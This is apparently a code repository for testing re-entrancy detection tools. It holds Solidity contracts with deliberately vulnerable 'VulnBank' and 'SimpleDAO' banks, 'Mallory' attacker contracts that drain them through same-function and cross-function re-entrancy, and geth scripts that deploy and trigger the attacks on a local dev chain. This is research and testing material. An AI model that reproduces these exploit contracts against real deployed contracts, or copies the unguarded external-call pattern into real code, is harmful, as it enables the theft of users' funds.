0000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156105ca57600080fd5b505afa1580156105de573d6000803e3d6000fd5b505050506040513d60208110156105f457600080fd5b81019080805190602001909291905050506040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15801561065757600080fd5b505af115801561066b573d6000803e3d6000fd5b5050505050565b56fea165627a7a723058205f9c69d7e9daf8dbf99f86708fc73c7ee4cdf8a6b024109fef7437ac93e0cff30029', 131 | gas: '4700000' 132 | }; 133 | 134 | var mallory; 135 | var bank; 136 | 137 | 138 | 139 | console.log("[+] creating contracts") 140 | console.log("new Safesending") 141 | var safesending = safesendingContract.new( 142 | safesender_create, 143 | function (e, contract) { 144 | console.log(e, contract); 145 | if (typeof contract.address !== 'undefined') { 146 | console.log('SafeSending mined! address: ' + contract.address + ' transactionHash: ' + contract.transactionHash); 147 | console.log("new Bank") 148 | bank = bankContract.new( 149 | contract.address, 150 | bank_create, 151 | function (e, contract) { 152 | console.log(e, contract); 153 | if (typeof contract.address !== 'undefined') { 154 | console.log('Bank mined! address: ' + contract.address + ' transactionHash: ' + contract.transactionHash); 155 | } 156 | } 157 | ) 158 | } 159 | } 160 | ) 161 | 162 | console.log("new Mallory") 163 | var mallory = malloryContract.new( 164 | mallory_create, function (e, contract){ 165 | console.log(e, contract); 166 | if (typeof contract.address !== 'undefined') { 167 | console.log('Mallory Contract mined! address: ' + contract.address + ' transactionHash: ' + contract.transactionHash); 168 | } 169 | }) 170 | 171 | 172 | transferSomething() 173 | console.log("\n===============================================================================") 174 | console.log("Wait for SafeSending, Bank and Mallory contracts to be mined.") 175 | console.log("Sometimes things hang and manually calling the transferSomething() function a bunch of times until all contracts are mined resolves this. You should see a message that the SafeSending, Mallory and Bank contract are mined.") 176 | console.log("\nUse `triggerAttack()` to start the attack.") 177 | console.log("===============================================================================\n") 178 | 179 | 180 | // set up initial state, s.t. the attack is possible 181 | function donateInitial() { 182 | console.log("[+] setting up contracts for attack"); 183 | // first to some poor account, whos funds will be drained by the attacker 184 | bank.donate(eth.accounts[0], {from: eth.accounts[0], value: 100000}); 185 | // and some inital funds for the attack contract 186 | bank.donate(mallory.address, {from: eth.accounts[1], value: 100000}); 187 | mallory.donate({from: eth.accounts[1], value: 100000}) 188 | admin.sleepBlocks(1) 189 | } 190 | 191 | // print balances of the contracts 192 | function printStatus() { 193 | console.log("") 194 | console.log("[+] Current status:") 195 | console.log("Mallory has " + eth.getBalance(mallory.address) + " wei") 196 | console.log("Bank has " + eth.getBalance(bank.address) + " wei") 197 | console.log("Mallory has " + bank.getBalance(mallory.address) + " wei deposited in Bank") 198 | console.log("victim has " + bank.getBalance(eth.accounts[0]) + " wei deposited in Bank") 199 | if (eth.getBalance(bank.address) < bank.getBalance(eth.accounts[0])) { 200 | console.log("Warning: bank doesn't have enough ether to give back victim's money") 201 | } 202 | console.log("") 203 | } 204 | 205 | // perform attack 206 | function triggerAttack() { 207 | transferSomething(); 208 | donateInitial(); 209 | transferSomething(); 210 | 211 | var preBalance = eth.getBalance(mallory.address) 212 | printStatus() 213 | admin.sleepBlocks(1) 214 | 215 | console.log("[+] Triggering attack by sending wei to Mallory, which calls fallback") 216 | var t = mallory.attack(bank.address, {from: eth.accounts[1], gas: '4700000'}) 217 | 218 | console.log("[+] Executed attack...") 219 | transferSomething() 220 | admin.sleepBlocks(3) 221 | printStatus() 222 | var gains = (eth.getBalance(mallory.address) - preBalance); 223 | console.log("Mallory gained " + gains + " wei"); 224 | if (gains > 0) { 225 | console.log("attack status: SUCCESS"); 226 | } else { 227 | console.log("attack status: FAILED"); 228 | } 229 | 230 | return t; 231 | } 232 | 233 | 234 | function getAttackTrace() { 235 | a = triggerAttack(); 236 | return debug.traceTransaction(a); 237 | } 238 | 239 | transferSomething() 240 | -------------------------------------------------------------------------------- /manual-lock.sol: -------------------------------------------------------------------------------- 1 | // This file contains 3 versions of the same contract. 2 | // 3 | // * VulnBankNoLock is vulnerable to simple same function re-entrancy 4 | // * VulnBankBuggyLock is vulnerable to cross-function re-entrancy, due to a incomplete locking mechanism 5 | // * VulnBankSecureLock is not vulnerable due to the locking mechanism 6 | // 7 | // Both VulnBankBuggyLock and VulnBankSecureLock employ a locking mechanism to 8 | // disable further state modifications to prevent re-entrancy attacks. 9 | // 10 | // VulnBankBuggLock does only prevent same-function re-entrancy. An attacker 11 | // can still re-enter in the transfer function. 12 | // 13 | // The Mallory contract performs a cross-function re-entrancy attack, which is 14 | // possible for all contracts but the VulnBankSecureLock. 15 | // 16 | // These contracts exercise edge cases of many analysis that try to identify 17 | // re-entrancy vulnerabilities. 18 | // 19 | // VulnBankNoLock should be simple and detected easily. 20 | // 21 | // VulnBankBuggyLock can only be exploited by cross-function re-entrancy. So 22 | // either the tool has to be aware of cross-function re-entrancy, or it reports 23 | // a false positive for same-function re-entrancy. 24 | // 25 | // VulnBankSecureLock is not exploitable by re-entrancy, but for an analysis 26 | // tool, it looks like a re-entrancy bug. The locking mechanism is hard to 27 | // differentiate from other functionality, especially on the EVM bytecode 28 | // level. 29 | 30 | pragma solidity ^0.5.0; 31 | /*pragma solidity ^0.4.21;*/ 32 | 33 | contract VulnBank { 34 | function getBalance(address a) public view returns(uint); 35 | function deposit() public payable; 36 | function transfer(address to, uint amount) public; 37 | function withdrawBalance() public; 38 | } 39 | 40 | contract VulnBankNoLock is VulnBank { 41 | 42 | mapping (address => uint) private userBalances; 43 | 44 | function getBalance(address a) public view returns(uint) { 45 | return userBalances[a]; 46 | } 47 | 48 | function deposit() public payable { 49 | userBalances[msg.sender] += msg.value; 50 | } 51 | 52 | function transfer(address to, uint amount) public { 53 | if (userBalances[msg.sender] >= amount) { 54 | userBalances[to] += amount; 55 | userBalances[msg.sender] -= amount; 56 | } 57 | } 58 | 59 | function withdrawBalance() public { 60 | uint amountToWithdraw = userBalances[msg.sender]; 61 | 62 | if (amountToWithdraw > 0) { 63 | msg.sender.call.value(amountToWithdraw)(""); 64 | 65 | userBalances[msg.sender] = 0; 66 | } 67 | } 68 | } 69 | 70 | contract VulnBankBuggyLock is VulnBank { 71 | 72 | mapping (address => uint) private userBalances; 73 | mapping (address => bool) private disableWithdraw; 74 | 75 | function getBalance(address a) public view returns(uint) { 76 | return userBalances[a]; 77 | } 78 | 79 | function deposit() public payable { 80 | userBalances[msg.sender] += msg.value; 81 | } 82 | 83 | function transfer(address to, uint amount) public { 84 | if (userBalances[msg.sender] >= amount) { 85 | userBalances[to] += amount; 86 | userBalances[msg.sender] -= amount; 87 | } 88 | } 89 | 90 | function withdrawBalance() public { 91 | require(disableWithdraw[msg.sender] == false); 92 | 93 | uint amountToWithdraw = userBalances[msg.sender]; 94 | 95 | if (amountToWithdraw > 0) { 96 | disableWithdraw[msg.sender] = true; 97 | msg.sender.call.value(amountToWithdraw)(""); 98 | disableWithdraw[msg.sender] = false; 99 | 100 | userBalances[msg.sender] = 0; 101 | } 102 | } 103 | } 104 | 105 | 106 | contract VulnBankSecureLock is VulnBank { 107 | 108 | mapping (address => uint) private userBalances; 109 | mapping (address => bool) private disableWithdraw; 110 | 111 | function getBalance(address a) public view returns(uint) { 112 | return userBalances[a]; 113 | } 114 | 115 | function deposit() public payable { 116 | require(disableWithdraw[msg.sender] == false); 117 | 118 | userBalances[msg.sender] += msg.value; 119 | } 120 | 121 | function transfer(address to, uint amount) public { 122 | require(disableWithdraw[msg.sender] == false); 123 | 124 | if (userBalances[msg.sender] >= amount) { 125 | userBalances[to] += amount; 126 | userBalances[msg.sender] -= amount; 127 | } 128 | } 129 | 130 | function withdrawBalance() public { 131 | require(disableWithdraw[msg.sender] == false); 132 | uint amountToWithdraw = userBalances[msg.sender]; 133 | 134 | if (amountToWithdraw > 0) { 135 | disableWithdraw[msg.sender] = true; 136 | msg.sender.call.value(amountToWithdraw)(""); 137 | disableWithdraw[msg.sender] = false; 138 | 139 | userBalances[msg.sender] = 0; 140 | } 141 | } 142 | } 143 | 144 | contract MallorySameFunction { 145 | VulnBank vb; 146 | // for solidity 0.5 147 | address payable owner; 148 | // for solidity 0.4.21 149 | /*address owner;*/ 150 | 151 | // for solidity 0.5 152 | constructor(VulnBank _vb) public { 153 | // for solidity 0.4.21 154 | /*function Mallory(VulnBank _vb) public {*/ 155 | owner = msg.sender; 156 | vb = _vb; 157 | } 158 | 159 | function gimme() public payable { } 160 | 161 | function attack() public payable { 162 | // deposit all ether 163 | vb.deposit.value(address(this).balance)(); 164 | // and extract again 165 | vb.withdrawBalance(); 166 | owner.transfer(address(this).balance); 167 | } 168 | 169 | function () external payable { 170 | vb.withdrawBalance(); 171 | } 172 | } 173 | 174 | contract MalloryCrossFunction { 175 | VulnBank vb; 176 | // for solidity 0.5 177 | address payable owner; 178 | // for solidity 0.4.21 179 | /*address owner;*/ 180 | 181 | // for solidity 0.5 182 | constructor(VulnBank _vb) public { 183 | // for solidity 0.4.21 184 | /*function Mallory(VulnBank _vb) public {*/ 185 | owner = msg.sender; 186 | vb = _vb; 187 | } 188 | 189 | function gimme() public payable { } 190 | 191 | function attack() public payable { 192 | // deposit all ether 193 | vb.deposit.value(address(this).balance)(); 194 | // and extract again 195 | vb.withdrawBalance(); 196 | owner.transfer(address(this).balance); 197 | } 198 | 199 | function () external payable { 200 | // transfer to owner 201 | vb.transfer(owner, vb.getBalance(address(this))); 202 | } 203 | } 204 | 205 | -------------------------------------------------------------------------------- /manual-lock_setup.js: -------------------------------------------------------------------------------- 1 | // deploy javascript code for manual-lock.sol 2 | 3 | var defaultPassword = ""; 4 | 5 | personal.newAccount(defaultPassword); 6 | personal.newAccount(defaultPassword); 7 | function unlockAllAccounts() { 8 | // this is the prefundend dev contract 9 | personal.unlockAccount(eth.accounts[0], defaultPassword); 10 | // we'll use this as "attacker" 11 | personal.unlockAccount(eth.accounts[1], defaultPassword); 12 | } 13 | unlockAllAccounts() 14 | var attacker = eth.accounts[1]; 15 | var victim = eth.accounts[0]; 16 | 17 | console.log("prefunded balance: " + eth.getBalance(eth.accounts[0])) 18 | console.log("transferring initial funds to attacker account") 19 | eth.sendTransaction({from: eth.accounts[0], to: attacker, value: 1000000000000}) 20 | admin.sleepBlocks(3) 21 | console.log("attacker account balance: " + eth.getBalance(attacker)) 22 | 23 | function transferSomething() { 24 | eth.sendTransaction({from: eth.accounts[0], to: eth.accounts[2], value: 100}) 25 | admin.sleepBlocks(4) 26 | } 27 | 28 | 29 | var malloryContract = web3.eth.contract([{"constant":false,"inputs":[],"name":"attack","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[],"name":"gimme","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"inputs":[{"name":"_vb","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"}]); 30 | var mallory_crossfunction_create = { 31 | from: web3.eth.accounts[1], 32 | data: '0x608060405234801561001057600080fd5b506040516020806105288339810180604052602081101561003057600080fd5b810190808051906020019092919050505033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050610456806100d26000396000f3fe60806040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680639e5faafc14610240578063de82efb41461024a575b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f8b2cb4f306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561016657600080fd5b505afa15801561017a573d6000803e3d6000fd5b505050506040513d602081101561019057600080fd5b81019080805190602001909291905050506040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561022657600080fd5b505af115801561023a573d6000803e3d6000fd5b50505050005b610248610254565b005b610252610428565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d0e30db03073ffffffffffffffffffffffffffffffffffffffff16316040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016000604051808303818588803b1580156102f057600080fd5b505af1158015610304573d6000803e3d6000fd5b50505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635fd8c7106040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b15801561038e57600080fd5b505af11580156103a2573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015610425573d6000803e3d6000fd5b50565b56fea165627a7a723058202fcb2aef439dc0647178ee1203ea1555c43053f8d6a420afddc6eeea501f1c1c0029', 33 | gas: '4700000' 34 | }; 35 | var mallory_samefunction_create = { 36 | from: web3.eth.accounts[1], 37 | data: '0x608060405234801561001057600080fd5b506040516020806103d38339810180604052602081101561003057600080fd5b810190808051906020019092919050505033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050610301806100d26000396000f3fe60806040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680639e5faafc146100eb578063de82efb4146100f5575b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635fd8c7106040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b1580156100d157600080fd5b505af11580156100e5573d6000803e3d6000fd5b50505050005b6100f36100ff565b005b6100fd6102d3565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d0e30db03073ffffffffffffffffffffffffffffffffffffffff16316040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016000604051808303818588803b15801561019b57600080fd5b505af11580156101af573d6000803e3d6000fd5b50505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635fd8c7106040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b15801561023957600080fd5b505af115801561024d573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501580156102d0573d6000803e3d6000fd5b50565b56fea165627a7a72305820041158ea2554f0d3c2992512e356a83c8ef333addee297853e116697e10dfce70029', 38 | gas: '4700000' 39 | }; 40 | 41 | // we re-use the vulnbank contract ABI for all the variations of the VulnBank 42 | // contracts. All offer exactly the same ABI interface anyway. 43 | var vulnbankContract = web3.eth.contract([{"constant":false,"inputs":[],"name":"withdrawBalance","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"to","type":"address"},{"name":"amount","type":"uint256"}],"name":"transfer","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"deposit","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[{"name":"a","type":"address"}],"name":"getBalance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"}]); 44 | 45 | var vulnbank_nolock_create = { 46 | from: web3.eth.accounts[0], 47 | data: '0x608060405234801561001057600080fd5b506103e8806100206000396000f3fe608060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680635fd8c71014610067578063a9059cbb1461007e578063d0e30db0146100d9578063f8b2cb4f146100e3575b600080fd5b34801561007357600080fd5b5061007c610148565b005b34801561008a57600080fd5b506100d7600480360360408110156100a157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610242565b005b6100e1610326565b005b3480156100ef57600080fd5b506101326004803603602081101561010657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610374565b6040518082815260200191505060405180910390f35b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600081111561023f573373ffffffffffffffffffffffffffffffffffffffff168160405180600001905060006040518083038185875af1925050503d80600081146101f2576040519150601f19603f3d011682016040523d82523d6000602084013e6101f7565b606091505b50505060008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151561032257806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b5050565b346000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905091905056fea165627a7a72305820a3711ba353239f91ab85c6ffd7f9258bbf033f9171c4d5b1c0fbdd8888b9a3db0029', 48 | gas: '4700000' 49 | }; 50 | var vulnbank_buggylock_create = { 51 | from: web3.eth.accounts[0], 52 | data: '0x608060405234801561001057600080fd5b506104f6806100206000396000f3fe608060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680635fd8c71014610067578063a9059cbb1461007e578063d0e30db0146100d9578063f8b2cb4f146100e3575b600080fd5b34801561007357600080fd5b5061007c610148565b005b34801561008a57600080fd5b506100d7600480360360408110156100a157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610350565b005b6100e1610434565b005b3480156100ef57600080fd5b506101326004803603602081101561010657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610482565b6040518082815260200191505060405180910390f35b60001515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415156101a757600080fd5b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600081111561034d5760018060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff168160405180600001905060006040518083038185875af1925050503d80600081146102a8576040519150601f19603f3d011682016040523d82523d6000602084013e6102ad565b606091505b5050506000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151561043057806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b5050565b346000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905091905056fea165627a7a72305820c1a39bec88f30a9e0b387c7b563c77a350b91d7d95fd104e6daa13e7fecf803f0029', 53 | gas: '4700000' 54 | }; 55 | var vulnbank_securelock_create = { 56 | from: web3.eth.accounts[0], 57 | data: '0x608060405234801561001057600080fd5b506105b4806100206000396000f3fe608060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680635fd8c71014610067578063a9059cbb1461007e578063d0e30db0146100d9578063f8b2cb4f146100e3575b600080fd5b34801561007357600080fd5b5061007c610148565b005b34801561008a57600080fd5b506100d7600480360360408110156100a157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610350565b005b6100e1610493565b005b3480156100ef57600080fd5b506101326004803603602081101561010657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610540565b6040518082815260200191505060405180910390f35b60001515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415156101a757600080fd5b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600081111561034d5760018060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff168160405180600001905060006040518083038185875af1925050503d80600081146102a8576040519150601f19603f3d011682016040523d82523d6000602084013e6102ad565b606091505b5050506000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b60001515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415156103af57600080fd5b806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151561048f57806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b5050565b60001515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415156104f257600080fd5b346000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905091905056fea165627a7a72305820d6b4e93785a71bca0dc92f32a9839a8c085901110ece2fab17f2eafd08a5a9820029', 58 | gas: '4700000' 59 | }; 60 | 61 | 62 | var mallory; 63 | 64 | console.log("[+] deploying contracts"); 65 | var vulnbank = vulnbankContract.new( 66 | /***************************************************************** 67 | * Uncomment to switch between the attack type. 68 | */ 69 | // switch to the vuln and secure version by using the respective 70 | // vulnbank_X_create variable here. 71 | //vulnbank_nolock_create, 72 | //vulnbank_buggylock_create, 73 | vulnbank_securelock_create, 74 | /****************************************************************/ 75 | function (e, contract) { 76 | console.log("vulnbank:", e, contract); 77 | if (typeof contract.address !== 'undefined') { 78 | console.log('VulnBankX Contract mined! address: ' + contract.address + ' transactionHash: ' + contract.transactionHash); 79 | 80 | console.log("making mallory contract") 81 | var _vb = contract.address; 82 | mallory = malloryContract.new( 83 | _vb, 84 | /***************************************************************** 85 | * Uncomment to switch between the attack type. 86 | */ 87 | mallory_samefunction_create, 88 | //mallory_crossfunction_create, 89 | /****************************************************************/ 90 | function (e, contract){ 91 | console.log("mallory", e, contract); 92 | if (typeof contract.address !== 'undefined') { 93 | console.log('Mallory Contract mined! address: ' + contract.address + ' transactionHash: ' + contract.transactionHash); 94 | } 95 | }) 96 | } 97 | }) 98 | 99 | transferSomething(); 100 | transferSomething(); 101 | 102 | 103 | function setupInitialState() { 104 | console.log("[+] Setting up initial state"); 105 | vulnbank.deposit({from: eth.accounts[0], value: 1000000, gas: '4700000'}); 106 | } 107 | 108 | function printStatus() { 109 | console.log(""); 110 | console.log("Mallory has " + eth.getBalance(mallory.address) + " wei"); 111 | console.log("Mallory has " + vulnbank.getBalance(mallory.address) + " wei in VulnBank"); 112 | console.log("attacker has " + eth.getBalance(attacker) + " wei"); 113 | console.log("attacker has " + vulnbank.getBalance(attacker) + " wei in VulnBank"); 114 | console.log("victim has " + vulnbank.getBalance(victim) + " wei in VulnBank"); 115 | console.log("Vulnbank has " + eth.getBalance(vulnbank.address) + " wei"); 116 | if (eth.getBalance(vulnbank.address) < vulnbank.getBalance(victim)) { 117 | console.log("Warning: VulnBank does not have enough funds to return victim's investment"); 118 | } 119 | console.log(""); 120 | } 121 | 122 | 123 | function triggerAttack() { 124 | transferSomething(); // sometimes it's stuck for some reason 125 | setupInitialState(); 126 | transferSomething(); 127 | printStatus(); 128 | 129 | var preBalance = eth.getBalance(attacker); 130 | 131 | admin.sleepBlocks(3); 132 | 133 | console.log("[+] Triggering attack"); 134 | var t = mallory.attack({from: attacker, to: mallory.address, gas: '4700000', value: 1000000}); 135 | admin.sleepBlocks(3); 136 | 137 | printStatus() 138 | 139 | console.log("[+] Attacker is withdrawing from vulnbank!"); 140 | 141 | admin.sleepBlocks(3); 142 | vulnbank.withdrawBalance({from: eth.accounts[1], gas: '4700000'}); 143 | 144 | admin.sleepBlocks(3); 145 | 146 | printStatus() 147 | 148 | var gains = (eth.getBalance(attacker) - preBalance); 149 | console.log("Attacker gained " + gains + " wei"); 150 | if (gains > 0) { 151 | console.log("[+] Attack SUCCESS") 152 | } else { 153 | console.log("[+] Attack FAIL") 154 | } 155 | 156 | return t; 157 | } 158 | 159 | 160 | function getAttackTrace() { 161 | a = triggerAttack(); 162 | return debug.traceTransaction(a); 163 | } 164 | 165 | 166 | function checkTrace() { 167 | // sereum only 168 | t = triggerAttack(); 169 | return debug.checkTransaction(t) 170 | } 171 | -------------------------------------------------------------------------------- /simple.sol: -------------------------------------------------------------------------------- 1 | /* 2 | * Example taken from the paper by N. Atzei, M. Bartoletti, and T. Cimoli, “A Survey of Attacks on Ethereum Smart Contracts (SoK),” in Principles of Security and Trust, 2017 3 | * http://blockchain.unica.it/projects/ethereum-survey/attacks.html#simpledao 4 | * 5 | * Modified for solidity 0.5 compatibility and removed unecessary 6 | * functions/variables. 7 | */ 8 | 9 | pragma solidity ^0.5.0; 10 | // this code also works with older solidity 11 | /*pragma solidity ^0.4.19;*/ 12 | 13 | contract Mallory { 14 | SimpleDAO public dao; 15 | address owner; 16 | 17 | function() payable external { 18 | dao.withdraw(dao.queryCredit(address(this))); 19 | } 20 | 21 | function setDAO(address addr) public { 22 | dao = SimpleDAO(addr); 23 | } 24 | } 25 | 26 | contract SimpleDAO { 27 | mapping (address => uint) public credit; 28 | 29 | function donate(address to) payable public { 30 | credit[to] += msg.value; 31 | } 32 | 33 | function withdraw(uint amount) public { 34 | if (credit[msg.sender] >= amount) { 35 | msg.sender.call.value(amount)(""); 36 | credit[msg.sender] -= amount; 37 | } 38 | } 39 | 40 | function queryCredit(address to) public view returns (uint) { 41 | return credit[to]; 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /simple_setup.js: -------------------------------------------------------------------------------- 1 | // Script for deploying and running a simple "same-function" re-entrancy attack against 2 | // a crafted vulnerable contract (see simple.sol) 3 | // 4 | // Example taken from the paper by N. Atzei, M. Bartoletti, and T. Cimoli, “A Survey of Attacks on Ethereum Smart Contracts (SoK),” in Principles of Security and Trust, 2017 5 | // http://blockchain.unica.it/projects/ethereum-survey/attacks.html#simpledao 6 | // 7 | // usage: first start geth in developer mode (no mining difficulty and 8 | // prefundend accounts) and start the JavaScript console interface of geth: 9 | // 10 | // $ geth --dev --dev.period=1 console 11 | // 12 | // Then load this script to setup everything: 13 | // 14 | // > loadScript("simple_setup.js") 15 | // 16 | // Sometimes it takes a while for all contracts to be mined and commited to the 17 | // dev blockchain. Manually creating more transactions helps. Simply type: 18 | // 19 | // > transferSomething() 20 | // 21 | // If both the Token and Mallory contracts have been mined, the attack can be 22 | // started: 23 | // 24 | // > triggerAttack() 25 | // 26 | // 27 | // Example: 28 | // 29 | 30 | 31 | 32 | 33 | console.log("\n=== Simple Re-Entrancy Attack Example ===\n") 34 | 35 | console.log("creating/unlocking accounts"); 36 | 37 | var defaultPassword = ""; 38 | 39 | personal.newAccount(defaultPassword) 40 | personal.newAccount(defaultPassword) 41 | function unlockAllAccounts() { 42 | personal.unlockAccount(eth.accounts[0], defaultPassword) 43 | personal.unlockAccount(eth.accounts[1], defaultPassword) 44 | personal.unlockAccount(eth.accounts[2], defaultPassword) 45 | } 46 | unlockAllAccounts() 47 | 48 | attacker = eth.accounts[2] 49 | eth.sendTransaction({from: eth.accounts[0], to: attacker, value: 100000000000000000000000}) 50 | admin.sleepBlocks(3) 51 | transferSomething() 52 | 53 | function transferSomething() { 54 | // sometimes things are stuck for some reason 55 | eth.sendTransaction({from: eth.accounts[0], to: eth.accounts[2], value: 100}) 56 | admin.sleepBlocks(3) 57 | } 58 | 59 | 60 | console.log("[+] Deploying contracts") 61 | var malloryContract = 